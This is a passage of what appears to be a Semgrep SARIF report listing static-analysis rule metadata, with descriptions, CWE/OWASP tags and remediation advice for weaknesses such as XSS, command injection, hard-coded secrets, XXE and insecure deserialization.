safely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format","id":"go.lang.security.injection.raw-html-format.raw-html-format","name":"go.lang.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell)\n - [https://docs.python.org/3/library/asyncio-subprocess.html](https://docs.python.org/3/library/asyncio-subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","id":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","name":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"help":{"markdown":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe)\n - [https://github.com/Leonidas-from-XIV/node-xml2js/issues/415](https://github.com/Leonidas-from-XIV/node-xml2js/issues/415)\n - [https://github.com/isaacs/sax-js](https://github.com/isaacs/sax-js)\n","text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"helpUri":"https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe","id":"javascript.sax.security.audit.sax-xxe.sax-xxe","name":"javascript.sax.security.audit.sax-xxe.sax-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sax.security.audit.sax-xxe.sax-xxe"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"help":{"markdown":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root)\n - [https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/](https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user)\n","text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root","id":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","name":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.run-as-non-root.run-as-non-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"help":{"markdown":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8)\n","text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","id":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","name":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","id":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","name":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","id":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","name":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration","id":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","name":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-data-exfiltration.express-data-exfiltration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"help":{"markdown":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas)\n - [https://lxml.de/FAQ.html](https://lxml.de/FAQ.html)\n","text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"helpUri":"https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas","id":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","name":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.lxml-in-pandas.lxml-in-pandas"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","id":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","name":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate](https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate)\n","text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"help":{"markdown":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template)\n - [https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security](https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security)\n","text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template","id":"go.lang.security.audit.xss.import-text-template.import-text-template","name":"go.lang.security.audit.xss.import-text-template.import-text-template","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.import-text-template.import-text-template"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"help":{"markdown":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","id":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","name":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"help":{"markdown":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","id":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","name":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"help":{"markdown":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors","id":"java.lang.security.audit.permissive-cors.permissive-cors","name":"java.lang.security.audit.permissive-cors.permissive-cors","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.permissive-cors.permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead."},"help":{"markdown":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag)\n - [https://github.com/golang/go/issues/19669](https://github.com/golang/go/issues/19669)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags 